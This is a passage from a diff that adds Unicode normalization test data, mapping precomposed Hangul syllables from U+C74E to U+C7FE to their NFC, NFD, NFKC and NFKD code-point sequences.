+{ source: [0xC74E], NFC: [0xC74E], NFD: [0x110B, 0x1173, 0x11B9], NFKC: [0xC74E], NFKD: [0x110B, 0x1173, 0x11B9] },
+{ source: [0xC74F], NFC: [0xC74F], NFD: [0x110B, 0x1173, 0x11BA], NFKC: [0xC74F], NFKD: [0x110B, 0x1173, 0x11BA] },
+{ source: [0xC750], NFC: [0xC750], NFD: [0x110B, 0x1173, 0x11BB], NFKC: [0xC750], NFKD: [0x110B, 0x1173, 0x11BB] },
+{ source: [0xC751], NFC: [0xC751], NFD: [0x110B, 0x1173, 0x11BC], NFKC: [0xC751], NFKD: [0x110B, 0x1173, 0x11BC] },
+{ source: [0xC752], NFC: [0xC752], NFD: [0x110B, 0x1173, 0x11BD], NFKC: [0xC752], NFKD: [0x110B, 0x1173, 0x11BD] },
+{ source: [0xC753], NFC: [0xC753], NFD: [0x110B, 0x1173, 0x11BE], NFKC: [0xC753], NFKD: [0x110B, 0x1173, 0x11BE] },
+{ source: [0xC754], NFC: [0xC754], NFD: [0x110B, 0x1173, 0x11BF], NFKC: [0xC754], NFKD: [0x110B, 0x1173, 0x11BF] },
+{ source: [0xC755], NFC: [0xC755], NFD: [0x110B, 0x1173, 0x11C0], NFKC: [0xC755], NFKD: [0x110B, 0x1173, 0x11C0] },
+{ source: [0xC756], NFC: [0xC756], NFD: [0x110B, 0x1173, 0x11C1], NFKC: [0xC756], NFKD: [0x110B, 0x1173, 0x11C1] },
+{ source: [0xC757], NFC: [0xC757], NFD: [0x110B, 0x1173, 0x11C2], NFKC: [0xC757], NFKD: [0x110B, 0x1173, 0x11C2] },
+{ source: [0xC758], NFC: [0xC758], NFD: [0x110B, 0x1174], NFKC: [0xC758], NFKD: [0x110B, 0x1174] },
+{ source: [0xC759], NFC: [0xC759], NFD: [0x110B, 0x1174, 0x11A8], NFKC: [0xC759], NFKD: [0x110B, 0x1174, 0x11A8] },
+{ source: [0xC75A], NFC: [0xC75A], NFD: [0x110B, 0x1174, 0x11A9], NFKC: [0xC75A], NFKD: [0x110B, 0x1174, 0x11A9] },
+{ source: [0xC75B], NFC: [0xC75B], NFD: [0x110B, 0x1174, 0x11AA], NFKC: [0xC75B], NFKD: [0x110B, 0x1174, 0x11AA] },
+{ source: [0xC75C], NFC: [0xC75C], NFD: [0x110B, 0x1174, 0x11AB], NFKC: [0xC75C], NFKD: [0x110B, 0x1174, 0x11AB] },
+{ source: [0xC75D], NFC: [0xC75D], NFD: [0x110B, 0x1174, 0x11AC], NFKC: [0xC75D], NFKD: [0x110B, 0x1174, 0x11AC] },
+{ source: [0xC75E], NFC: [0xC75E], NFD: [0x110B, 0x1174, 0x11AD], NFKC: [0xC75E], NFKD: [0x110B, 0x1174, 0x11AD] },
+{ source: [0xC75F], NFC: [0xC75F], NFD: [0x110B, 0x1174, 0x11AE], NFKC: [0xC75F], NFKD: [0x110B, 0x1174, 0x11AE] },
+{ source: [0xC760], NFC: [0xC760], NFD: [0x110B, 0x1174, 0x11AF], NFKC: [0xC760], NFKD: [0x110B, 0x1174, 0x11AF] },
+{ source: [0xC761], NFC: [0xC761], NFD: [0x110B, 0x1174, 0x11B0], NFKC: [0xC761], NFKD: [0x110B, 0x1174, 0x11B0] },
+{ source: [0xC762], NFC: [0xC762], NFD: [0x110B, 0x1174, 0x11B1], NFKC: [0xC762], NFKD: [0x110B, 0x1174, 0x11B1] },
+{ source: [0xC763], NFC: [0xC763], NFD: [0x110B, 0x1174, 0x11B2], NFKC: [0xC763], NFKD: [0x110B, 0x1174, 0x11B2] },
+{ source: [0xC764], NFC: [0xC764], NFD: [0x110B, 0x1174, 0x11B3], NFKC: [0xC764], NFKD: [0x110B, 0x1174, 0x11B3] },
+{ source: [0xC765], NFC: [0xC765], NFD: [0x110B, 0x1174, 0x11B4], NFKC: [0xC765], NFKD: [0x110B, 0x1174, 0x11B4] },
+{ source: [0xC766], NFC: [0xC766], NFD: [0x110B, 0x1174, 0x11B5], NFKC: [0xC766], NFKD: [0x110B, 0x1174, 0x11B5] },
+{ source: [0xC767], NFC: [0xC767], NFD: [0x110B, 0x1174, 0x11B6], NFKC: [0xC767], NFKD: [0x110B, 0x1174, 0x11B6] },
+{ source: [0xC768], NFC: [0xC768], NFD: [0x110B, 0x1174, 0x11B7], NFKC: [0xC768], NFKD: [0x110B, 0x1174, 0x11B7] },
+{ source: [0xC769], NFC: [0xC769], NFD: [0x110B, 0x1174, 0x11B8], NFKC: [0xC769], NFKD: [0x110B, 0x1174, 0x11B8] },
+{ source: [0xC76A], NFC: [0xC76A], NFD: [0x110B, 0x1174, 0x11B9], NFKC: [0xC76A], NFKD: [0x110B, 0x1174, 0x11B9] },
+{ source: [0xC76B], NFC: [0xC76B], NFD: [0x110B, 0x1174, 0x11BA], NFKC: [0xC76B], NFKD: [0x110B, 0x1174, 0x11BA] },
+{ source: [0xC76C], NFC: [0xC76C], NFD: [0x110B, 0x1174, 0x11BB], NFKC: [0xC76C], NFKD: [0x110B, 0x1174, 0x11BB] },
+{ source: [0xC76D], NFC: [0xC76D], NFD: [0x110B, 0x1174, 0x11BC], NFKC: [0xC76D], NFKD: [0x110B, 0x1174, 0x11BC] },
+{ source: [0xC76E], NFC: [0xC76E], NFD: [0x110B, 0x1174, 0x11BD], NFKC: [0xC76E], NFKD: [0x110B, 0x1174, 0x11BD] },
+{ source: [0xC76F], NFC: [0xC76F], NFD: [0x110B, 0x1174, 0x11BE], NFKC: [0xC76F], NFKD: [0x110B, 0x1174, 0x11BE] },
+{ source: [0xC770], NFC: [0xC770], NFD: [0x110B, 0x1174, 0x11BF], NFKC: [0xC770], NFKD: [0x110B, 0x1174, 0x11BF] },
+{ source: [0xC771], NFC: [0xC771], NFD: [0x110B, 0x1174, 0x11C0], NFKC: [0xC771], NFKD: [0x110B, 0x1174, 0x11C0] },
+{ source: [0xC772], NFC: [0xC772], NFD: [0x110B, 0x1174, 0x11C1], NFKC: [0xC772], NFKD: [0x110B, 0x1174, 0x11C1] },
+{ source: [0xC773], NFC: [0xC773], NFD: [0x110B, 0x1174, 0x11C2], NFKC: [0xC773], NFKD: [0x110B, 0x1174, 0x11C2] },
+{ source: [0xC774], NFC: [0xC774], NFD: [0x110B, 0x1175], NFKC: [0xC774], NFKD: [0x110B, 0x1175] },
+{ source: [0xC775], NFC: [0xC775], NFD: [0x110B, 0x1175, 0x11A8], NFKC: [0xC775], NFKD: [0x110B, 0x1175, 0x11A8] },
+{ source: [0xC776], NFC: [0xC776], NFD: [0x110B, 0x1175, 0x11A9], NFKC: [0xC776], NFKD: [0x110B, 0x1175, 0x11A9] },
+{ source: [0xC777], NFC: [0xC777], NFD: [0x110B, 0x1175, 0x11AA], NFKC: [0xC777], NFKD: [0x110B, 0x1175, 0x11AA] },
+{ source: [0xC778], NFC: [0xC778], NFD: [0x110B, 0x1175, 0x11AB], NFKC: [0xC778], NFKD: [0x110B, 0x1175, 0x11AB] },
+{ source: [0xC779], NFC: [0xC779], NFD: [0x110B, 0x1175, 0x11AC], NFKC: [0xC779], NFKD: [0x110B, 0x1175, 0x11AC] },
+{ source: [0xC77A], NFC: [0xC77A], NFD: [0x110B, 0x1175, 0x11AD], NFKC: [0xC77A], NFKD: [0x110B, 0x1175, 0x11AD] },
+{ source: [0xC77B], NFC: [0xC77B], NFD: [0x110B, 0x1175, 0x11AE], NFKC: [0xC77B], NFKD: [0x110B, 0x1175, 0x11AE] },
+{ source: [0xC77C], NFC: [0xC77C], NFD: [0x110B, 0x1175, 0x11AF], NFKC: [0xC77C], NFKD: [0x110B, 0x1175, 0x11AF] },
+{ source: [0xC77D], NFC: [0xC77D], NFD: [0x110B, 0x1175, 0x11B0], NFKC: [0xC77D], NFKD: [0x110B, 0x1175, 0x11B0] },
+{ source: [0xC77E], NFC: [0xC77E], NFD: [0x110B, 0x1175, 0x11B1], NFKC: [0xC77E], NFKD: [0x110B, 0x1175, 0x11B1] },
+{ source: [0xC77F], NFC: [0xC77F], NFD: [0x110B, 0x1175, 0x11B2], NFKC: [0xC77F], NFKD: [0x110B, 0x1175, 0x11B2] },
+{ source: [0xC780], NFC: [0xC780], NFD: [0x110B, 0x1175, 0x11B3], NFKC: [0xC780], NFKD: [0x110B, 0x1175, 0x11B3] },
+{ source: [0xC781], NFC: [0xC781], NFD: [0x110B, 0x1175, 0x11B4], NFKC: [0xC781], NFKD: [0x110B, 0x1175, 0x11B4] },
+{ source: [0xC782], NFC: [0xC782], NFD: [0x110B, 0x1175, 0x11B5], NFKC: [0xC782], NFKD: [0x110B, 0x1175, 0x11B5] },
+{ source: [0xC783], NFC: [0xC783], NFD: [0x110B, 0x1175, 0x11B6], NFKC: [0xC783], NFKD: [0x110B, 0x1175, 0x11B6] },
+{ source: [0xC784], NFC: [0xC784], NFD: [0x110B, 0x1175, 0x11B7], NFKC: [0xC784], NFKD: [0x110B, 0x1175, 0x11B7] },
+{ source: [0xC785], NFC: [0xC785], NFD: [0x110B, 0x1175, 0x11B8], NFKC: [0xC785], NFKD: [0x110B, 0x1175, 0x11B8] },
+{ source: [0xC786], NFC: [0xC786], NFD: [0x110B, 0x1175, 0x11B9], NFKC: [0xC786], NFKD: [0x110B, 0x1175, 0x11B9] },
+{ source: [0xC787], NFC: [0xC787], NFD: [0x110B, 0x1175, 0x11BA], NFKC: [0xC787], NFKD: [0x110B, 0x1175, 0x11BA] },
+{ source: [0xC788], NFC: [0xC788], NFD: [0x110B, 0x1175, 0x11BB], NFKC: [0xC788], NFKD: [0x110B, 0x1175, 0x11BB] },
+{ source: [0xC789], NFC: [0xC789], NFD: [0x110B, 0x1175, 0x11BC], NFKC: [0xC789], NFKD: [0x110B, 0x1175, 0x11BC] },
+{ source: [0xC78A], NFC: [0xC78A], NFD: [0x110B, 0x1175, 0x11BD], NFKC: [0xC78A], NFKD: [0x110B, 0x1175, 0x11BD] },
+{ source: [0xC78B], NFC: [0xC78B], NFD: [0x110B, 0x1175, 0x11BE], NFKC: [0xC78B], NFKD: [0x110B, 0x1175, 0x11BE] },
+{ source: [0xC78C], NFC: [0xC78C], NFD: [0x110B, 0x1175, 0x11BF], NFKC: [0xC78C], NFKD: [0x110B, 0x1175, 0x11BF] },
+{ source: [0xC78D], NFC: [0xC78D], NFD: [0x110B, 0x1175, 0x11C0], NFKC: [0xC78D], NFKD: [0x110B, 0x1175, 0x11C0] },
+{ source: [0xC78E], NFC: [0xC78E], NFD: [0x110B, 0x1175, 0x11C1], NFKC: [0xC78E], NFKD: [0x110B, 0x1175, 0x11C1] },
+{ source: [0xC78F], NFC: [0xC78F], NFD: [0x110B, 0x1175, 0x11C2], NFKC: [0xC78F], NFKD: [0x110B, 0x1175, 0x11C2] },
+{ source: [0xC790], NFC: [0xC790], NFD: [0x110C, 0x1161], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0xC791], NFC: [0xC791], NFD: [0x110C, 0x1161, 0x11A8], NFKC: [0xC791], NFKD: [0x110C, 0x1161, 0x11A8] },
+{ source: [0xC792], NFC: [0xC792], NFD: [0x110C, 0x1161, 0x11A9], NFKC: [0xC792], NFKD: [0x110C, 0x1161, 0x11A9] },
+{ source: [0xC793], NFC: [0xC793], NFD: [0x110C, 0x1161, 0x11AA], NFKC: [0xC793], NFKD: [0x110C, 0x1161, 0x11AA] },
+{ source: [0xC794], NFC: [0xC794], NFD: [0x110C, 0x1161, 0x11AB], NFKC: [0xC794], NFKD: [0x110C, 0x1161, 0x11AB] },
+{ source: [0xC795], NFC: [0xC795], NFD: [0x110C, 0x1161, 0x11AC], NFKC: [0xC795], NFKD: [0x110C, 0x1161, 0x11AC] },
+{ source: [0xC796], NFC: [0xC796], NFD: [0x110C, 0x1161, 0x11AD], NFKC: [0xC796], NFKD: [0x110C, 0x1161, 0x11AD] },
+{ source: [0xC797], NFC: [0xC797], NFD: [0x110C, 0x1161, 0x11AE], NFKC: [0xC797], NFKD: [0x110C, 0x1161, 0x11AE] },
+{ source: [0xC798], NFC: [0xC798], NFD: [0x110C, 0x1161, 0x11AF], NFKC: [0xC798], NFKD: [0x110C, 0x1161, 0x11AF] },
+{ source: [0xC799], NFC: [0xC799], NFD: [0x110C, 0x1161, 0x11B0], NFKC: [0xC799], NFKD: [0x110C, 0x1161, 0x11B0] },
+{ source: [0xC79A], NFC: [0xC79A], NFD: [0x110C, 0x1161, 0x11B1], NFKC: [0xC79A], NFKD: [0x110C, 0x1161, 0x11B1] },
+{ source: [0xC79B], NFC: [0xC79B], NFD: [0x110C, 0x1161, 0x11B2], NFKC: [0xC79B], NFKD: [0x110C, 0x1161, 0x11B2] },
+{ source: [0xC79C], NFC: [0xC79C], NFD: [0x110C, 0x1161, 0x11B3], NFKC: [0xC79C], NFKD: [0x110C, 0x1161, 0x11B3] },
+{ source: [0xC79D], NFC: [0xC79D], NFD: [0x110C, 0x1161, 0x11B4], NFKC: [0xC79D], NFKD: [0x110C, 0x1161, 0x11B4] },
+{ source: [0xC79E], NFC: [0xC79E], NFD: [0x110C, 0x1161, 0x11B5], NFKC: [0xC79E], NFKD: [0x110C, 0x1161, 0x11B5] },
+{ source: [0xC79F], NFC: [0xC79F], NFD: [0x110C, 0x1161, 0x11B6], NFKC: [0xC79F], NFKD: [0x110C, 0x1161, 0x11B6] },
+{ source: [0xC7A0], NFC: [0xC7A0], NFD: [0x110C, 0x1161, 0x11B7], NFKC: [0xC7A0], NFKD: [0x110C, 0x1161, 0x11B7] },
+{ source: [0xC7A1], NFC: [0xC7A1], NFD: [0x110C, 0x1161, 0x11B8], NFKC: [0xC7A1], NFKD: [0x110C, 0x1161, 0x11B8] },
+{ source: [0xC7A2], NFC: [0xC7A2], NFD: [0x110C, 0x1161, 0x11B9], NFKC: [0xC7A2], NFKD: [0x110C, 0x1161, 0x11B9] },
+{ source: [0xC7A3], NFC: [0xC7A3], NFD: [0x110C, 0x1161, 0x11BA], NFKC: [0xC7A3], NFKD: [0x110C, 0x1161, 0x11BA] },
+{ source: [0xC7A4], NFC: [0xC7A4], NFD: [0x110C, 0x1161, 0x11BB], NFKC: [0xC7A4], NFKD: [0x110C, 0x1161, 0x11BB] },
+{ source: [0xC7A5], NFC: [0xC7A5], NFD: [0x110C, 0x1161, 0x11BC], NFKC: [0xC7A5], NFKD: [0x110C, 0x1161, 0x11BC] },
+{ source: [0xC7A6], NFC: [0xC7A6], NFD: [0x110C, 0x1161, 0x11BD], NFKC: [0xC7A6], NFKD: [0x110C, 0x1161, 0x11BD] },
+{ source: [0xC7A7], NFC: [0xC7A7], NFD: [0x110C, 0x1161, 0x11BE], NFKC: [0xC7A7], NFKD: [0x110C, 0x1161, 0x11BE] },
+{ source: [0xC7A8], NFC: [0xC7A8], NFD: [0x110C, 0x1161, 0x11BF], NFKC: [0xC7A8], NFKD: [0x110C, 0x1161, 0x11BF] },
+{ source: [0xC7A9], NFC: [0xC7A9], NFD: [0x110C, 0x1161, 0x11C0], NFKC: [0xC7A9], NFKD: [0x110C, 0x1161, 0x11C0] },
+{ source: [0xC7AA], NFC: [0xC7AA], NFD: [0x110C, 0x1161, 0x11C1], NFKC: [0xC7AA], NFKD: [0x110C, 0x1161, 0x11C1] },
+{ source: [0xC7AB], NFC: [0xC7AB], NFD: [0x110C, 0x1161, 0x11C2], NFKC: [0xC7AB], NFKD: [0x110C, 0x1161, 0x11C2] },
+{ source: [0xC7AC], NFC: [0xC7AC], NFD: [0x110C, 0x1162], NFKC: [0xC7AC], NFKD: [0x110C, 0x1162] },
+{ source: [0xC7AD], NFC: [0xC7AD], NFD: [0x110C, 0x1162, 0x11A8], NFKC: [0xC7AD], NFKD: [0x110C, 0x1162, 0x11A8] },
+{ source: [0xC7AE], NFC: [0xC7AE], NFD: [0x110C, 0x1162, 0x11A9], NFKC: [0xC7AE], NFKD: [0x110C, 0x1162, 0x11A9] },
+{ source: [0xC7AF], NFC: [0xC7AF], NFD: [0x110C, 0x1162, 0x11AA], NFKC: [0xC7AF], NFKD: [0x110C, 0x1162, 0x11AA] },
+{ source: [0xC7B0], NFC: [0xC7B0], NFD: [0x110C, 0x1162, 0x11AB], NFKC: [0xC7B0], NFKD: [0x110C, 0x1162, 0x11AB] },
+{ source: [0xC7B1], NFC: [0xC7B1], NFD: [0x110C, 0x1162, 0x11AC], NFKC: [0xC7B1], NFKD: [0x110C, 0x1162, 0x11AC] },
+{ source: [0xC7B2], NFC: [0xC7B2], NFD: [0x110C, 0x1162, 0x11AD], NFKC: [0xC7B2], NFKD: [0x110C, 0x1162, 0x11AD] },
+{ source: [0xC7B3], NFC: [0xC7B3], NFD: [0x110C, 0x1162, 0x11AE], NFKC: [0xC7B3], NFKD: [0x110C, 0x1162, 0x11AE] },
+{ source: [0xC7B4], NFC: [0xC7B4], NFD: [0x110C, 0x1162, 0x11AF], NFKC: [0xC7B4], NFKD: [0x110C, 0x1162, 0x11AF] },
+{ source: [0xC7B5], NFC: [0xC7B5], NFD: [0x110C, 0x1162, 0x11B0], NFKC: [0xC7B5], NFKD: [0x110C, 0x1162, 0x11B0] },
+{ source: [0xC7B6], NFC: [0xC7B6], NFD: [0x110C, 0x1162, 0x11B1], NFKC: [0xC7B6], NFKD: [0x110C, 0x1162, 0x11B1] },
+{ source: [0xC7B7], NFC: [0xC7B7], NFD: [0x110C, 0x1162, 0x11B2], NFKC: [0xC7B7], NFKD: [0x110C, 0x1162, 0x11B2] },
+{ source: [0xC7B8], NFC: [0xC7B8], NFD: [0x110C, 0x1162, 0x11B3], NFKC: [0xC7B8], NFKD: [0x110C, 0x1162, 0x11B3] },
+{ source: [0xC7B9], NFC: [0xC7B9], NFD: [0x110C, 0x1162, 0x11B4], NFKC: [0xC7B9], NFKD: [0x110C, 0x1162, 0x11B4] },
+{ source: [0xC7BA], NFC: [0xC7BA], NFD: [0x110C, 0x1162, 0x11B5], NFKC: [0xC7BA], NFKD: [0x110C, 0x1162, 0x11B5] },
+{ source: [0xC7BB], NFC: [0xC7BB], NFD: [0x110C, 0x1162, 0x11B6], NFKC: [0xC7BB], NFKD: [0x110C, 0x1162, 0x11B6] },
+{ source: [0xC7BC], NFC: [0xC7BC], NFD: [0x110C, 0x1162, 0x11B7], NFKC: [0xC7BC], NFKD: [0x110C, 0x1162, 0x11B7] },
+{ source: [0xC7BD], NFC: [0xC7BD], NFD: [0x110C, 0x1162, 0x11B8], NFKC: [0xC7BD], NFKD: [0x110C, 0x1162, 0x11B8] },
+{ source: [0xC7BE], NFC: [0xC7BE], NFD: [0x110C, 0x1162, 0x11B9], NFKC: [0xC7BE], NFKD: [0x110C, 0x1162, 0x11B9] },
+{ source: [0xC7BF], NFC: [0xC7BF], NFD: [0x110C, 0x1162, 0x11BA], NFKC: [0xC7BF], NFKD: [0x110C, 0x1162, 0x11BA] },
+{ source: [0xC7C0], NFC: [0xC7C0], NFD: [0x110C, 0x1162, 0x11BB], NFKC: [0xC7C0], NFKD: [0x110C, 0x1162, 0x11BB] },
+{ source: [0xC7C1], NFC: [0xC7C1], NFD: [0x110C, 0x1162, 0x11BC], NFKC: [0xC7C1], NFKD: [0x110C, 0x1162, 0x11BC] },
+{ source: [0xC7C2], NFC: [0xC7C2], NFD: [0x110C, 0x1162, 0x11BD], NFKC: [0xC7C2], NFKD: [0x110C, 0x1162, 0x11BD] },
+{ source: [0xC7C3], NFC: [0xC7C3], NFD: [0x110C, 0x1162, 0x11BE], NFKC: [0xC7C3], NFKD: [0x110C, 0x1162, 0x11BE] },
+{ source: [0xC7C4], NFC: [0xC7C4], NFD: [0x110C, 0x1162, 0x11BF], NFKC: [0xC7C4], NFKD: [0x110C, 0x1162, 0x11BF] },
+{ source: [0xC7C5], NFC: [0xC7C5], NFD: [0x110C, 0x1162, 0x11C0], NFKC: [0xC7C5], NFKD: [0x110C, 0x1162, 0x11C0] },
+{ source: [0xC7C6], NFC: [0xC7C6], NFD: [0x110C, 0x1162, 0x11C1], NFKC: [0xC7C6], NFKD: [0x110C, 0x1162, 0x11C1] },
+{ source: [0xC7C7], NFC: [0xC7C7], NFD: [0x110C, 0x1162, 0x11C2], NFKC: [0xC7C7], NFKD: [0x110C, 0x1162, 0x11C2] },
+{ source: [0xC7C8], NFC: [0xC7C8], NFD: [0x110C, 0x1163], NFKC: [0xC7C8], NFKD: [0x110C, 0x1163] },
+{ source: [0xC7C9], NFC: [0xC7C9], NFD: [0x110C, 0x1163, 0x11A8], NFKC: [0xC7C9], NFKD: [0x110C, 0x1163, 0x11A8] },
+{ source: [0xC7CA], NFC: [0xC7CA], NFD: [0x110C, 0x1163, 0x11A9], NFKC: [0xC7CA], NFKD: [0x110C, 0x1163, 0x11A9] },
+{ source: [0xC7CB], NFC: [0xC7CB], NFD: [0x110C, 0x1163, 0x11AA], NFKC: [0xC7CB], NFKD: [0x110C, 0x1163, 0x11AA] },
+{ source: [0xC7CC], NFC: [0xC7CC], NFD: [0x110C, 0x1163, 0x11AB], NFKC: [0xC7CC], NFKD: [0x110C, 0x1163, 0x11AB] },
+{ source: [0xC7CD], NFC: [0xC7CD], NFD: [0x110C, 0x1163, 0x11AC], NFKC: [0xC7CD], NFKD: [0x110C, 0x1163, 0x11AC] },
+{ source: [0xC7CE], NFC: [0xC7CE], NFD: [0x110C, 0x1163, 0x11AD], NFKC: [0xC7CE], NFKD: [0x110C, 0x1163, 0x11AD] },
+{ source: [0xC7CF], NFC: [0xC7CF], NFD: [0x110C, 0x1163, 0x11AE], NFKC: [0xC7CF], NFKD: [0x110C, 0x1163, 0x11AE] },
+{ source: [0xC7D0], NFC: [0xC7D0], NFD: [0x110C, 0x1163, 0x11AF], NFKC: [0xC7D0], NFKD: [0x110C, 0x1163, 0x11AF] },
+{ source: [0xC7D1], NFC: [0xC7D1], NFD: [0x110C, 0x1163, 0x11B0], NFKC: [0xC7D1], NFKD: [0x110C, 0x1163, 0x11B0] },
+{ source: [0xC7D2], NFC: [0xC7D2], NFD: [0x110C, 0x1163, 0x11B1], NFKC: [0xC7D2], NFKD: [0x110C, 0x1163, 0x11B1] },
+{ source: [0xC7D3], NFC: [0xC7D3], NFD: [0x110C, 0x1163, 0x11B2], NFKC: [0xC7D3], NFKD: [0x110C, 0x1163, 0x11B2] },
+{ source: [0xC7D4], NFC: [0xC7D4], NFD: [0x110C, 0x1163, 0x11B3], NFKC: [0xC7D4], NFKD: [0x110C, 0x1163, 0x11B3] },
+{ source: [0xC7D5], NFC: [0xC7D5], NFD: [0x110C, 0x1163, 0x11B4], NFKC: [0xC7D5], NFKD: [0x110C, 0x1163, 0x11B4] },
+{ source: [0xC7D6], NFC: [0xC7D6], NFD: [0x110C, 0x1163, 0x11B5], NFKC: [0xC7D6], NFKD: [0x110C, 0x1163, 0x11B5] },
+{ source: [0xC7D7], NFC: [0xC7D7], NFD: [0x110C, 0x1163, 0x11B6], NFKC: [0xC7D7], NFKD: [0x110C, 0x1163, 0x11B6] },
+{ source: [0xC7D8], NFC: [0xC7D8], NFD: [0x110C, 0x1163, 0x11B7], NFKC: [0xC7D8], NFKD: [0x110C, 0x1163, 0x11B7] },
+{ source: [0xC7D9], NFC: [0xC7D9], NFD: [0x110C, 0x1163, 0x11B8], NFKC: [0xC7D9], NFKD: [0x110C, 0x1163, 0x11B8] },
+{ source: [0xC7DA], NFC: [0xC7DA], NFD: [0x110C, 0x1163, 0x11B9], NFKC: [0xC7DA], NFKD: [0x110C, 0x1163, 0x11B9] },
+{ source: [0xC7DB], NFC: [0xC7DB], NFD: [0x110C, 0x1163, 0x11BA], NFKC: [0xC7DB], NFKD: [0x110C, 0x1163, 0x11BA] },
+{ source: [0xC7DC], NFC: [0xC7DC], NFD: [0x110C, 0x1163, 0x11BB], NFKC: [0xC7DC], NFKD: [0x110C, 0x1163, 0x11BB] },
+{ source: [0xC7DD], NFC: [0xC7DD], NFD: [0x110C, 0x1163, 0x11BC], NFKC: [0xC7DD], NFKD: [0x110C, 0x1163, 0x11BC] },
+{ source: [0xC7DE], NFC: [0xC7DE], NFD: [0x110C, 0x1163, 0x11BD], NFKC: [0xC7DE], NFKD: [0x110C, 0x1163, 0x11BD] },
+{ source: [0xC7DF], NFC: [0xC7DF], NFD: [0x110C, 0x1163, 0x11BE], NFKC: [0xC7DF], NFKD: [0x110C, 0x1163, 0x11BE] },
+{ source: [0xC7E0], NFC: [0xC7E0], NFD: [0x110C, 0x1163, 0x11BF], NFKC: [0xC7E0], NFKD: [0x110C, 0x1163, 0x11BF] },
+{ source: [0xC7E1], NFC: [0xC7E1], NFD: [0x110C, 0x1163, 0x11C0], NFKC: [0xC7E1], NFKD: [0x110C, 0x1163, 0x11C0] },
+{ source: [0xC7E2], NFC: [0xC7E2], NFD: [0x110C, 0x1163, 0x11C1], NFKC: [0xC7E2], NFKD: [0x110C, 0x1163, 0x11C1] },
+{ source: [0xC7E3], NFC: [0xC7E3], NFD: [0x110C, 0x1163, 0x11C2], NFKC: [0xC7E3], NFKD: [0x110C, 0x1163, 0x11C2] },
+{ source: [0xC7E4], NFC: [0xC7E4], NFD: [0x110C, 0x1164], NFKC: [0xC7E4], NFKD: [0x110C, 0x1164] },
+{ source: [0xC7E5], NFC: [0xC7E5], NFD: [0x110C, 0x1164, 0x11A8], NFKC: [0xC7E5], NFKD: [0x110C, 0x1164, 0x11A8] },
+{ source: [0xC7E6], NFC: [0xC7E6], NFD: [0x110C, 0x1164, 0x11A9], NFKC: [0xC7E6], NFKD: [0x110C, 0x1164, 0x11A9] },
+{ source: [0xC7E7], NFC: [0xC7E7], NFD: [0x110C, 0x1164, 0x11AA], NFKC: [0xC7E7], NFKD: [0x110C, 0x1164, 0x11AA] },
+{ source: [0xC7E8], NFC: [0xC7E8], NFD: [0x110C, 0x1164, 0x11AB], NFKC: [0xC7E8], NFKD: [0x110C, 0x1164, 0x11AB] },
+{ source: [0xC7E9], NFC: [0xC7E9], NFD: [0x110C, 0x1164, 0x11AC], NFKC: [0xC7E9], NFKD: [0x110C, 0x1164, 0x11AC] },
+{ source: [0xC7EA], NFC: [0xC7EA], NFD: [0x110C, 0x1164, 0x11AD], NFKC: [0xC7EA], NFKD: [0x110C, 0x1164, 0x11AD] },
+{ source: [0xC7EB], NFC: [0xC7EB], NFD: [0x110C, 0x1164, 0x11AE], NFKC: [0xC7EB], NFKD: [0x110C, 0x1164, 0x11AE] },
+{ source: [0xC7EC], NFC: [0xC7EC], NFD: [0x110C, 0x1164, 0x11AF], NFKC: [0xC7EC], NFKD: [0x110C, 0x1164, 0x11AF] },
+{ source: [0xC7ED], NFC: [0xC7ED], NFD: [0x110C, 0x1164, 0x11B0], NFKC: [0xC7ED], NFKD: [0x110C, 0x1164, 0x11B0] },
+{ source: [0xC7EE], NFC: [0xC7EE], NFD: [0x110C, 0x1164, 0x11B1], NFKC: [0xC7EE], NFKD: [0x110C, 0x1164, 0x11B1] },
+{ source: [0xC7EF], NFC: [0xC7EF], NFD: [0x110C, 0x1164, 0x11B2], NFKC: [0xC7EF], NFKD: [0x110C, 0x1164, 0x11B2] },
+{ source: [0xC7F0], NFC: [0xC7F0], NFD: [0x110C, 0x1164, 0x11B3], NFKC: [0xC7F0], NFKD: [0x110C, 0x1164, 0x11B3] },
+{ source: [0xC7F1], NFC: [0xC7F1], NFD: [0x110C, 0x1164, 0x11B4], NFKC: [0xC7F1], NFKD: [0x110C, 0x1164, 0x11B4] },
+{ source: [0xC7F2], NFC: [0xC7F2], NFD: [0x110C, 0x1164, 0x11B5], NFKC: [0xC7F2], NFKD: [0x110C, 0x1164, 0x11B5] },
+{ source: [0xC7F3], NFC: [0xC7F3], NFD: [0x110C, 0x1164, 0x11B6], NFKC: [0xC7F3], NFKD: [0x110C, 0x1164, 0x11B6] },
+{ source: [0xC7F4], NFC: [0xC7F4], NFD: [0x110C, 0x1164, 0x11B7], NFKC: [0xC7F4], NFKD: [0x110C, 0x1164, 0x11B7] },
+{ source: [0xC7F5], NFC: [0xC7F5], NFD: [0x110C, 0x1164, 0x11B8], NFKC: [0xC7F5], NFKD: [0x110C, 0x1164, 0x11B8] },
+{ source: [0xC7F6], NFC: [0xC7F6], NFD: [0x110C, 0x1164, 0x11B9], NFKC: [0xC7F6], NFKD: [0x110C, 0x1164, 0x11B9] },
+{ source: [0xC7F7], NFC: [0xC7F7], NFD: [0x110C, 0x1164, 0x11BA], NFKC: [0xC7F7], NFKD: [0x110C, 0x1164, 0x11BA] },
+{ source: [0xC7F8], NFC: [0xC7F8], NFD: [0x110C, 0x1164, 0x11BB], NFKC: [0xC7F8], NFKD: [0x110C, 0x1164, 0x11BB] },
+{ source: [0xC7F9], NFC: [0xC7F9], NFD: [0x110C, 0x1164, 0x11BC], NFKC: [0xC7F9], NFKD: [0x110C, 0x1164, 0x11BC] },
+{ source: [0xC7FA], NFC: [0xC7FA], NFD: [0x110C, 0x1164, 0x11BD], NFKC: [0xC7FA], NFKD: [0x110C, 0x1164, 0x11BD] },
+{ source: [0xC7FB], NFC: [0xC7FB], NFD: [0x110C, 0x1164, 0x11BE], NFKC: [0xC7FB], NFKD: [0x110C, 0x1164, 0x11BE] },
+{ source: [0xC7FC], NFC: [0xC7FC], NFD: [0x110C, 0x1164, 0x11BF], NFKC: [0xC7FC], NFKD: [0x110C, 0x1164, 0x11BF] },
+{ source: [0xC7FD], NFC: [0xC7FD], NFD: [0x110C, 0x1164, 0x11C0], NFKC: [0xC7FD], NFKD: [0x110C, 0x1164, 0x11C0] },
+{ source: [0xC7FE], NFC: [0xC7FE], NFD: [0x110C, 0x1164, 0x11C1], NFKC: [0xC7FE], NFKD: [0x110C, 0x1164, 0x11C1] },
